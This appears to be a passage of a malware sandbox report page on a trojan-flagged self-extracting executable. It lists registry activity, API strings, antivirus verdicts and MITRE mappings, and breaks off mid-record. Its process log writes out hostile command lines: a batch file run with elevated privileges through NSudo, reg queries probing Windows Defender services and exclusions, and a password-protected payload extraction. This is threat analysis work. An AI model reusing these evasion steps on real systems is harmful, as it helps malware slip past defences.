"HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-18"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-18"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\FIND.EXE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-18"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\FINDSTR.EXE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-18"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\LOCAL\TEMP\SAKED\7Z.EXE"; Value: "")66:Tc23,"b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS"; Value: "0100000000") "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "INTRANETNAME"; Value: "0100000000") "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "UNCASINTRANET"; Value: "0100000000") "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "AUTODETECT"; Value: "0000000000") "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\NOTIFICATIONS\DATA"; Key: "418A073AA3BC3475"; Value: "C90B000000000000040004000102020000000000630000000D7879002F000000A19F5E000100010000000100000056737D000100040000001D0000001A9CB20000") "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\NOTIFICATIONS\DATA"; Key: "418A073AA3BC1C75"; Value: "501F0000000000000400040001001D00020000000D7879000DA1810016DDA4001E8D520021777A00259960002C3D81003E3383004AAA8100560A8500726E4A0075A37E00799C39008106950087DE83009D9D9200A736A800B1CE9800B3F1A200BC6EB400C046AD00C36D8100CF74AA00D3E88D00E1C97700E7997F00EBBF8400F1FC6000F7D36F0006000600000019C398001C4452007140A30091508A00A522A400C45F7F0000") "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\NOTIFICATIONS\DATA"; Key: "418A073AA3BC1C75"; Value: "511F0000000000000400040001002000020000000D7879000DA1810016DDA4001E8D520021777A00259960002C3D81003E3383004AAA8100560A8500726E4A0075A37E00799C39008106950087DE8300938661009D9D9200A736A800B1CE9800B3F1A200BC6EB400C046AD00C36D8100CC495600CF74AA00D3E88D00E1C97700E7997F00EBBF8400F1FC6000F7D36F00F7ED6A0006000600000019C398001C4452007140A30091508A00A522A400C45F7F0000") "reg.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\THEMES\PERSONALIZE"; Key: "APPSUSELIGHTTHEME"; Value: "0000000000") "cmd.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-18"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "7BD6965CF985DC010000000000000000000000000200000000") "cmd.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-18"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "87861260F985DC010000000000000000000000000200000000") "cmd.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-18"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "`IK")67:Te20,Found string "SetDllDirectoryW" (Source: b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe, API is part of module: KERNEL32.DLL) Found string "SetDefaultDllDirectories" (Source: b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe, API is part of module: KERNELBASE.DLL) Found string "FlsAlloc" (Source: b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe, API is part of module: KERNELBASE.DLL) Found string "FlsFree" (Source: b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe, API is part of module: KERNELBASE.DLL) Found string "FlsGetValue" (Source: b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe, API is part of module: KERNELBASE.DLL) Found string "FlsSetValue" (Source: b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe, API is part of module: KERNELBASE.DLL) Found string "InitializeCriticalSectionEx" (Source: b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe, API is part of module: KERNELBASE.DLL) Found string "GetCurrentPackageId" (Source: b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe, API is part of module: KERNEL.APPCORE.DLL) Found string "LCMapStringEx" (Source: b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe, API is part of module: KERNELBASE.DLL) Found string "LocaleNameToLCID" (Source: b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe, API is part of module: KERNELBASE.DLL) Found string "log10" (Source: b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe, API is part of module: MSVCRT.DLL) Found string "atan2" (Source: b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe, API is part of module: MSVCRT.DLL) Found string "floor" (Source: b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe, API is part of module: MSVCRT.DLL) Found string "ldexp" (Source: b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe, API is part of module: MSVCRT.DLL) Found string "frexp" (Source: b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe, API is part of module: MSVCRT.DLL) Found string "ShowWindow" (Source: b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe, API is part of module: USER32.DLL) Found string "GetDlgItem" (Source: b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe, API is part of module: USER32.DLL) Found string "EnableWindow" (Source: b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe, API is part of module: USER32.DLL) Found string "SetWindowTextW" (Source: b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe, API is part of module: USER32.DLL) Found string "GetParent" (Source: b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe, API is part of module: USER32.DLL) Found string "SetWindowPos" (Source: b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe, API is part of module: USER32.DLL) Found string "SetDlgItemTextW" (Source: b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe, API is part of module: USER32.DLL) Found string "GetSystemMetrics" (Source: b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe, API is part of module: USER32.DLL) Found string "GetClientRect" (Source: b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe, API is part of module: USER32.DLL) Found string "GetWindowRect" (Source: b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe, API is part of module: USER32.DLL)68:T69d,"b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe" reads file "C:\Windows\win.ini" "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe" reads file "C:\Users\%OSUSER%\Desktop\desktop.ini" "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe" reads file "C:\Users\%OSUSER%\Documents\desktop.ini" "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe" reads file "C:\Users\%OSUSER%\Music\desktop.ini" "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe" reads file "C:\Users\%OSUSER%\Pictures\desktop.ini" "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe" reads file "C:\Users\%OSUSER%\Videos\desktop.ini" "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe" reads file "C:\Users\%OSUSER%\Downloads\desktop.ini" "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe" reads file "C:\Users\%OSUSER%\OneDrive\desktop.ini" "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe" reads file "C:\Users\%OSUSER%\Searches\desktop.ini" "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe" reads file "C:\Users\%OSUSER%\Contacts\desktop.ini" "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe" reads file "C:\Users\%OSUSER%\Favorites\desktop.ini" "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe" reads file "C:\Users\%OSUSER%\Links\desktop.ini" "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe" reads file "C:\Users\%OSUSER%\Saved Games\desktop.ini" "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe" reads file "C:\Users\desktop.ini"69:T1516,Spawned process "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe" (UID: 00000000-00008068) Spawned process "cmd.exe" with commandline "%WINDIR%\\system32\\cmd.exe /c ""%TEMP%\\XsTOKMXJ6.bat" "" (UID: 00000000-00000340) Spawned process "nircmd.exe" with commandline "nircmd win min process "cmd.exe"" (UID: 00000000-00006460) Spawned process "chcp.com" with commandline "chcp 65001" (UID: 00000000-00006696) Spawned process "reg.exe" with commandline "reg query "HKU\\S-1-5-19"" (UID: 00000000-00007880) Spawned process "reg.exe" with commandline "reg add "HKU\\S-1-5-18\\Software\\Microsoft\\Windows\\CurrentVersion\\Themes\\Personalize" /v "AppsUseLightTheme" /t reg_dword /d 0 /f" (UID: 00000000-00003660) Spawned process "NSudoLG.exe" with commandline "NSudoLG -U:T -P:E -UseCurrentConsole "%TEMP%\\XsTOKMXJ6.bat" any_word" (UID: 00000000-00008188) Spawned process "cmd.exe" with commandline "/c ""%TEMP%\\XsTOKMXJ6.bat" any_word "" (UID: 00000000-00006664) Spawned process "nircmd.exe" with commandline "nircmd win min process "cmd.exe"" (UID: 00000000-00001112) Spawned process "chcp.com" with commandline "chcp 65001" (UID: 00000000-00003428) Spawned process "reg.exe" with commandline "reg query "HKU\\S-1-5-19"" (UID: 00000000-00001860) Spawned process "reg.exe" with commandline "reg add "HKU\\S-1-5-18\\Software\\Microsoft\\Windows\\CurrentVersion\\Themes\\Personalize" /v "AppsUseLightTheme" /t reg_dword /d 0 /f" (UID: 00000000-00007184) Spawned process "mode.com" with commandline "Mode 79,49" (UID: 00000000-00007872) Spawned process "cmd.exe" with commandline "/c ver" (UID: 00000000-00006608) Spawned process "find.exe" with commandline "find /i "0x0"" (UID: 00000000-00004188) Spawned process "reg.exe" with commandline "reg query "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System" /v "EnableLUA"" (UID: 00000000-00004420) Spawned process "cmd.exe" with commandline "/c tasklist" (UID: 00000000-00004044) Spawned process "tasklist.exe" (UID: 00000000-00002908) Spawned process "reg.exe" with commandline "reg query "HKLM\\System\\CurrentControlSet\\Services\\WinDefend"" (UID: 00000000-00006436) Spawned process "reg.exe" with commandline "reg query "HKLM\\System\\CurrentControlSet\\Services\\MDCoreSvc"" (UID: 00000000-00004804) Spawned process "reg.exe" with commandline "reg query "HKLM\\System\\CurrentControlSet\\Services\\WdNisSvc"" (UID: 00000000-00002944) Spawned process "reg.exe" with commandline "reg query "HKLM\\System\\CurrentControlSet\\Services\\Sense"" (UID: 00000000-00000032) Spawned process "reg.exe" with commandline "reg query "HKLM\\System\\CurrentControlSet\\Services\\wscsvc"" (UID: 00000000-00004416) Spawned process "reg.exe" with commandline "reg query "HKLM\\System\\CurrentControlSet\\Services\\SgrmBroker"" (UID: 00000000-00003424) Spawned process "reg.exe" with commandline "reg query "HKLM\\System\\CurrentControlSet\\Services\\SecurityHealthService"" (UID: 00000000-00004880) Spawned process "reg.exe" with commandline "reg query "HKLM\\System\\CurrentControlSet\\Services\\webthreatdefsvc"" (UID: 00000000-00004780) Spawned process "reg.exe" with commandline "reg query "HKLM\\System\\CurrentControlSet\\Services\\webthreatdefusersvc"" (UID: 00000000-00005352) Spawned process "reg.exe" with commandline "reg query "HKLM\\System\\CurrentControlSet\\Services\\WdNisDrv"" (UID: 00000000-00005612) Spawned process "reg.exe" with commandline "reg query "HKLM\\System\\CurrentControlSet\\Services\\WdBoot"" (UID: 00000000-00006964) Spawned process "reg.exe" with commandline "reg query "HKLM\\System\\CurrentControlSet\\Services\\WdFilter"" (UID: 00000000-00002720) Spawned process "reg.exe" with commandline "reg query "HKLM\\System\\CurrentControlSet\\Services\\SgrmAgent"" (UID: 00000000-00004564) Spawned process "reg.exe" with commandline "reg query "HKLM\\System\\CurrentControlSet\\Services\\MsSecWfp"" (UID: 00000000-00001732) Spawned process "reg.exe" with commandline "reg query "HKLM\\System\\CurrentControlSet\\Services\\MsSecFlt"" (UID: 00000000-00003528) Spawned process "reg.exe" with commandline "reg query "HKLM\\System\\CurrentControlSet\\Services\\MsSecCore"" (UID: 00000000-00007744) Spawned process "cmd.exe" with commandline "/S /D /c" ver "" (UID: 00000000-00003460) Spawned process "findstr.exe" with commandline "findstr /c:"6.1.7601"" (UID: 00000000-00003432) Spawned process "reg.exe" with commandline "reg query "HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion" /v "ProductName"" (UID: 00000000-00000204) Spawned process "find.exe" with commandline "find /i "Windows 7"" (UID: 00000000-00007652) Spawned process "reg.exe" with commandline "reg query HKLM\\System\\CurrentControlset\\Services\\WdFilter" (UID: 00000000-00004344) Spawned process "reg.exe" with commandline "reg query "HKLM\\Software\\Microsoft\\Windows Defender"" (UID: 00000000-00004896) Spawned process "reg.exe" with commandline "reg query "HKLM\\Software\\Microsoft\\Windows Defender\\Exclusions\\Paths"" (UID: 00000000-00007560) Spawned process "find.exe" with commandline "find /i "C:\\"" (UID: 00000000-00006104) Spawned process "7z.exe" with commandline "7z x -aoa -bso0 -bsp1 "same.zip" -p"stucha" "mika.exe"" (UID: 00000000-00007732) Spawned process "mika.exe" with commandline "/CurrentDiskSize" (UID: 00000000-00007276)6a:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMzMzMzMzNzMzMzMzMwAAAIiIiIiIiDiIiIiIiIgAAACIiIiIiIg4iIiIiIiIAAAAiIiIiIiIOIiIiIiIiAAAAIiIiIiIiHiIiIiIiIgAAACId3d3d3d4d3d3d3eIAAAAh3d3d3d3d3d3d3d3dwAAAHd3d3d3d3d3d3d3d3cACId3d3d3d3c3d3d3d3d3eIiHd4iIiIiIiIiIiIiId3iIh3f//////////////3d4gId4//////////////+HeAB3eP//////////////h3cAB3////////////////dwAAeP///////////////4cAAB/////////////////xAAAAIiImIgREZ3QREZlXAAAAAGIiJiJERGd2ERGZeAAAAABiIiYiRERndhERmXgAAAAAYiImIkREZ3YREZl4AAAAAGIiJiJERHd3ERGZeAAAAABiIioiRER3dxERmXgAAAAAYiImIkREZ3cREZl4AAAAAGu7u7JDO7u3EZu7uAAAAABmImpiRER3dxERmXgAAAAAd3d3d3d3d3d3eIiIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD//////////+AAAA/gAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAABwAAAAAAAAAAAAAAAIAAAAGAAAABwAAAA4AAAAGAAAABgAAAAYAAAAGAAAABgAAAAYAAAAHAAAAD8AAAD/AAAA/wAAAP8AAAD////////////////w==1d:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$25"}}],["$","$L26",null,{"initialData":{"schema_version":"1.0.15","sha256":"b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1791886267622,"unified_at":"2026-10-13T10:11:07.622Z","metadata":{"hashes":{"sha256":"b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85","sha1":"be047da5999e9b1640f77beb033a130b5bd7128f","md5":"9b94fc2a6191f740ae7400259a618207","sha512":"0b3b3f9817ee8e2a6e793cdacb51869c7613ff1735ec502f3ec8fcee49f99f2528d3e364fd84790572eccd5a5ce64bdf73a31ed233a3a487dc719d2d0e39350e","ssdeep":"98304:aGT3R4w3K6tZSaMSs1eJMn7w08BKAqffmjz:F2w3E16MiBrUfmH","ssdeep_chunks":["98304:aGT3R4w","98304:GT3R4w3","98304:T3R4w3K","98304:3R4w3K6","98304:R4w3K6t","98304:4w3K6tZ","98304:w3K6tZS","98304:3K6tZSa","98304:K6tZSaM","98304:6tZSaMS","98304:tZSaMSs","98304:ZSaMSs1","98304:SaMSs1e","98304:aMSs1eJ","98304:MSs1eJM","98304:Ss1eJMn","98304:s1eJMn7","98304:1eJMn7w","98304:eJMn7w0","98304:JMn7w08","98304:Mn7w08B","98304:n7w08BK","98304:7w08BKA","98304:w08BKAq","98304:08BKAqf","98304:8BKAqff","98304:BKAqffm","98304:KAqffmj","98304:Aqffmjz","196608:aGT3R4w","196608:GT3R4w3","196608:T3R4w3K","196608:3R4w3K6","196608:R4w3K6t","196608:4w3K6tZ","196608:w3K6tZS","196608:3K6tZSa","196608:K6tZSaM","196608:6tZSaMS","196608:tZSaMSs","196608:ZSaMSs1","196608:SaMSs1e","196608:aMSs1eJ","196608:MSs1eJM","196608:Ss1eJMn","196608:s1eJMn7","196608:1eJMn7w","196608:eJMn7w0","196608:JMn7w08","196608:Mn7w08B","196608:n7w08BK","196608:7w08BKA","196608:w08BKAq","196608:08BKAqf","196608:8BKAqff","196608:BKAqffm","196608:KAqffmj","196608:Aqffmjz","98304:F2w3E16","98304:2w3E16M","98304:w3E16Mi","98304:3E16MiB","98304:E16MiBr","98304:16MiBrU","98304:6MiBrUf","98304:MiBrUfm","98304:iBrUfmH"],"imphash":"12e12319f1029ec4f8fcbed7e82df162"},"file_info":{"file_name":"9b94fc2a6191f740ae7400259a618207.exe","file_type":["peexe","executable","compressed","sfx","rar"],"file_type_id":"exe rar sfx","file_size":3781846,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1767386822000,"last_seen":1768437032000,"last_multi_scan":1768437032000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["nircmd","evasive"]},"stats":{"av":{"malicious_count":12,"suspicious_count":0,"total_engines":27},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":102},"sandbox_signatures":{"informative_count":252,"suspicious_count":10,"malicious_count":8,"total":270},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"ahnlab":{"name":"AhnLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"aurora":{"name":"Aurora","success":true,"verdict":"malicious","threat_name":"Malware_-10","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"TR/W32.Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"Trojan.Rasftuby.Gen.14","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"malicious","threat_name":"Win.Malware.Zenpak-10017873-0","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cmc":{"name":"CMC","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"win/malicious_confidence_90% (W)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"Trojan.Rasftuby.Gen.14 (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"malicious","threat_name":"Trojan.Agent.xaoftl.cfsq","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"gridinsoft":{"name":"Gridinsoft","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Dropper.sa","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"malicious","threat_name":"Hacktool ( 00617ec61 )","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"lionic":{"name":"Lionic","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trellix":{"name":"Trellix","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"malicious","threat_name":"W32/S-e021834d!Eldorado","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.RarDrp.HKZ","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"webrootsmd":{"name":"Webroot SMD","success":true,"verdict":"malicious","threat_name":"Malware_52.8","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"xcitium":{"name":"Xcitium","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Trojan.Rasftuby.Generic","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Initial Access","technique":"External Remote Services","attack_id":"T1133","attack_id_wiki":"https://attack.mitre.org/techniques/T1133","identifiers":[{"type":"informative","value":"Able to configure Windows Remote Management service"}],"sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Input file contains API references not part of its Import Address Table (IAT)"},{"type":"informative","value":"Calls an API typically used to find a resource in a module"},{"type":"informative","value":"Contains ability to execute Windows APIs"},{"type":"informative","value":"Contains ability to retrieve the fully qualified path of module (API string)"},{"type":"informative","value":"Contains ability to retrieve address of exported function from a DLL (API string)"},{"type":"informative","value":"Contains ability to dynamically load libraries"},{"type":"informative","value":"Contains ability to set/get the last-error code for a calling thread (API string)"},{"type":"informative","value":"Calls an API typically used to load a resource in memory"},{"type":"informative","value":"Contains ability to create a new process (API string)"},{"type":"informative","value":"Calls an API typically used to create a process"},{"type":"informative","value":"Contains ability to execute an application (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve function addresses"},{"type":"informative","value":"Contains ability to find and load resources of specific modules (API string)"},{"type":"informative","value":"Contains ability to load modules (API string)"},{"type":"informative","value":"Contains ability to create/open files (API string)"},{"type":"informative","value":"Contains ability to retrieve/modify process thread (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"tactic":"Execution","technique":"Windows Management Instrumentation","attack_id":"T1047","attack_id_wiki":"https://attack.mitre.org/techniques/T1047","identifiers":[{"type":"suspicious","value":"Found a reference to a WMI query string known to be used for VM detection"},{"type":"informative","value":"Contains ability to execute a WMI query"}],"sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"tactic":"Execution","technique":"Software Deployment Tools","attack_id":"T1072","attack_id_wiki":"https://attack.mitre.org/techniques/T1072","identifiers":[{"type":"informative","value":"Contains reference to software packages activity (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"tactic":"Execution","technique":"Windows Command Shell","attack_id":"T1059.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/003","identifiers":[{"type":"informative","value":"Contains ability to executes commands or batch file"},{"type":"informative","value":"Contains ability to retrieve the command-line string for the current process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"tactic":"Execution","technique":"Inter-Process Communication","attack_id":"T1559","attack_id_wiki":"https://attack.mitre.org/techniques/T1559","identifiers":[{"type":"informative","value":"Contains ability to create/connect to a named pipe (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"tactic":"Execution","technique":"Service Execution","attack_id":"T1569.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1569/002","identifiers":[{"type":"informative","value":"Contains reference to multiple windows system processes"},{"type":"informative","value":"Contains ability to open a service (API 